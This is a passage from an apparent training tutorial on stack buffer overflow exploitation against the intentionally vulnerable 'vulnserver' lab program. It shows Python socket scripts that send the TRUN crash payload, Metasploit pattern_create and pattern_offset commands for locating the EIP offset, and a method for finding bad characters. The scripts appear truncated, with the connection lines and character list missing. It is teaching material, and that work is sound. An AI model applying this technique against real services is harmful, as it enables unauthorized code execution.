White Hat Institute

Buffer overflow tutorial (part 3)

5 — Finding the offset

In the previous section, we used a fuzzing script to find an approximate bytes site where it crashed. Now, we need to find the offset where the “EIP” was overwritten because that’s what we want to control from this point on. For this purpose, we need to generate a unique pattern using the Metasploit tool and send it instead of “A” characters. Then based on the output, we can find out the offset using another Metasploit module. To generate the unique pattern use the following command: (root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2200). Here we will create a random pattern with a length of 2200 bytes. Copy the patterns and use them in the fuzzing script.

buffer overflow 23

Open the “Fuzzing1.py” file in any editing tool and replace the “buffer = “A” * 100” part with the offset pattern then save it. The script should look like this:

— — — — — — — — — — — — — — — — — — — — — — — — — —


import sys, socket

offset = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9

























s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.send((‘TRUN /.:/’ + offset))



print “Error connecting to server”


— — — — — — — — — — — — — — — — — — — — — — — — — — —

buffer overflow 24

Before we execute the python script, we have to set the environment again. Once everything is running correctly, execute the script.

Ex: (root@kali:~# ./Fuzzing1.py).

After executing the python script, the “vulnserver” program will crash and display the overwritten value of the “EIP” (386F4337). Write it down somewhere because we will need to use it in the next step to finding the offset.

buffer overflow 25

Now, we are going to use another Metasploit tool to find the exact match for our offset. For this, use the following command with the same byte length and specify the “EIP” value that we found.

Ex: (root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2200 -q 386F4337).

buffer overflow 26

As you can see in the screenshot above, we managed to find the exact match for our offset at 2003 bytes. Now it’s time to overwrite the “EIP.”

6 — Overwriting the EIP

In the section, we will try to overwrite the “EIP” part of the memory. In the previous example, we discovered that our offset was precisely in 2003 bytes. It means that there are 2003 bytes right before we get to the “EIP.” “EIP” by itself is 4 bytes long memory part, and here we will try to overwrite them. For this, we will need to modify our python script and send 2003 “A” characters to reach the “EIP” and then add 4 “B” characters to overwrite it. Save the changes and run the script.

— — — — — — — — — — — — — — — — — — — — — — — — — —


import sys, socket

shellcode = “A” * 2003 + “B” * 4


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.send((‘TRUN /.:/’ + shellcode))



print “Error connecting to server”


— — — — — — — — — — — — — — — — — — — — — — — — — — —

buffer overflow 27

Once you execute the script, “vunserver” will crash, and the Immunity Debugger will stop because of the access violation. When you examine the debugger’s output, you’ll see that “EBP” will be filled out with all “A”s (41414141) and the “EIP” with all “B”s (42424242).

buffer overflow 28

It means that we can now control the “EIP” part of the memory, and instead of sending a bunch of “A” or “B” characters, we can send a malicious shellcode to infect our target computer and gain shell access.

7 — Finding bad characters

When generating a shellcode, we need to know what characters are bad or good for the shellcode. We can check this by running all the hexadecimal characters through our program and see if any of them displays differently. Before testing it, first, we need to find a list of “bad characters.” Open up your favorite browser and search for “finding badchars with mona.” Click on the link “Find Bad Characters with Immunity Debugger and Mona.py.”

buffer overflow 29

This particular website has already created a variable with all “bad characters” that we can use in our python script.

buffer overflow 30

Copy the variable with “bad characters” and paste them in the python script we used before. By default, the null byte “\x00” character acts up so we can remove it from the variable right away. It’s recommended to put the “bad chars” variable after the characters that cause the crash. If we start our attack string with “bad chars,” we might not get a crash at all. Save the script and run it against the “vulnserver” while monitoring from the Immunity debugger.

buffer overflow 31

So, basically our python script will run every character listed below one by one, and our job here is to examine the hex dump and take notes of any misplaced characters.











To examine the hex dump, after the crash occurs, right-click on the “ESP,” and from the drop-down menu, select “Follow in Dump.” It will dump and display all hex characters that we send with our python script.

buffer overflow 32

Now we see a much longer “bad chars” string on the stack. It is anything but difficult to take an easy route and look down and check whether the “\xff” character is there and expect that there is no other corruption. In this example, every corrupt byte terminated the “bad chars” string, but that is not always the case. 

Sometimes when you try to build new exploits, you will experience circumstances where a single character corrupts, but the remainder of the “bad chars” string prints efficaciously. In this situation, cautiously looking at the bytes on the stack individually to the “bad chars” string is the best way to check that there are no more bad characters. Unfortunately, it is a very tedious process, and it’s easy to make mistakes.

buffer overflow 33